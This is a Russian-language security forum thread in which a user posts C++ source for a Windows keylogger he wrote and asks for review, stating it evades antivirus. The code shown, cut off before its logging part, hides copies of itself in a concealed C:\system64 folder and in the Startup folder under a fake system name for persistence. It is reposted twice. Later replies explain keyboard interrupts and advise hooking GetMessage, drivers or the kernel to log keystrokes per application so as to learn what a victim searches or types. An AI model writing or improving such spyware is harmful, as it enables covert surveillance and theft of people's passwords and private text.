HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.08.2017, 16:09
JiEn
Guest
Сообщений: n/a
Провел на форуме:
4659

Репутация: 0
По умолчанию

Привет, написал месяц назад кейлоггер на Си Плюсах, оцените пожалуйста. Использовал хук GetAsyncKeyState(), антивирусами не палится. А еще укажите на ошибки в синтаксисе если таковые имеются.

Заранее прошу прощения за кодировку комментариев.

#include

#include

#include

#include

#include

#include

#include

using namespace std;

int CALLBACK WinMain(

HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow

)

{

//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];

GetModuleFileName(NULL, dir_pl, 1024);

time_t now = time(0);

char* dt = ctime(&now);

char buffer[1024];

GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------

CreateDirectory("C:\\system64", NULL);

SetFileAttributes("C:\\system64",FILE_ATTRIBUTE_HI DDEN);

//-------------------------------------------------

CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);

CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);

SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"),FILE_AT TRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");

fut
 
Ответить с цитированием

  #2  
Старый 29.08.2017, 18:12
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

Он потому не палиться что антивирусу не остается вычислительных ресурсов всё съедает твой логгер
 
Ответить с цитированием

  #3  
Старый 29.08.2017, 20:09
JiEn
Guest
Сообщений: n/a
Провел на форуме:
4659

Репутация: 0
По умолчанию

Цитата:
Сообщение от artkar  
artkar said:

Он потому не палиться что антивирусу не остается вычислительных ресурсов
всё съедает твой логгер
Я знаю что подобное опрашивание каждой из клавиш должно жрать ресурсы, но в действительности любой нажатие клавиш так и отслеживается на уровне ОС и (Я не имею ввиду библиотеку WinApi)

что-то незаметно что это шибко тормозит работу компа и ОС в целом.
 
Ответить с цитированием

  #4  
Старый 29.08.2017, 23:41
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.
 
Ответить с цитированием

  #5  
Старый 30.08.2017, 12:55
binarymaster
Guest
Сообщений: n/a
Провел на форуме:
997379

Репутация: 125
По умолчанию

Цитата:
Сообщение от JiEn  
JiEn said:

Заранее прошу прощения за кодировку комментариев.
Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:

[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut
 
Ответить с цитированием

  #6  
Старый 31.08.2017, 09:41
JiEn
Guest
Сообщений: n/a
Провел на форуме:
4659

Репутация: 0
По умолчанию

[QUOTE="binarymaster"]
binarymaster said:

Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut
 
Ответить с цитированием

  #7  
Старый 31.08.2017, 09:50
JiEn
Guest
Сообщений: n/a
Провел на форуме:
4659

Репутация: 0
По умолчанию

Цитата:
Сообщение от artkar  
artkar said:

Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.
Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.
 
Ответить с цитированием

  #8  
Старый 31.08.2017, 19:41
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

Цитата:
Сообщение от JiEn  
JiEn said:

Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.
Стало быть итак:

В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?

Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.

Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ

Что делает процессор?

Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.

ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС

Но вот как бы вкратце...

Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?
 
Ответить с цитированием

  #9  
Старый 01.09.2017, 11:21
JiEn
Guest
Сообщений: n/a
Провел на форуме:
4659

Репутация: 0
По умолчанию

Цитата:
Сообщение от artkar  
artkar said:

Стало быть итак:
В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?
Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.
Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ
Что делает процессор?
Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.
ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС
Но вот как бы вкратце...
Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?
Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?
 
Ответить с цитированием

  #10  
Старый 01.09.2017, 17:26
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

Цитата:
Сообщение от JiEn  
JiEn said:

Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?
Ну в идеале конечно заменить вектор прерывания клавиатуры на свой, и на ранних системах так трухацкеры и делали, так как область таблицы векторов прерывания была программно доступна. Сейчас же золотые времена кид-хакинга канули и уровень входа резко подскочил. Таблица векторов программно недоступна и регистры работающие с ней тоже, но если сможешь это был бы топ-хак.

Далее нужно подниматься на верхние слои, чем ниже тем круче. Сможешь внедриться в ядро - супер, в драйвер клавиатуры - тоже супер. Но более реально это поставить хук в юзер-мод режиме допустим хук на функцию типо ГетМессадж - я бы так и попытался. ТОгда ты можешь логгировать все обрабатываемые нажатия клавиш, для любого приложения и даже можно настроить механизм фильтрации, агрегирования, то есть тебе нужно ведь сохранять не тупо все нажатия, а по приложением - тогда ты сможешь определять что человек искал в гугле,или печатал в ворде.

Тока когда будешь ставить хуки тут то и оживиться антивирус, почувствует уже руку профессионала и насторожиться.

Да и я не понял как ты понимаешь термин "Хук" я это понимаю перехват вызова какой либо функции..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ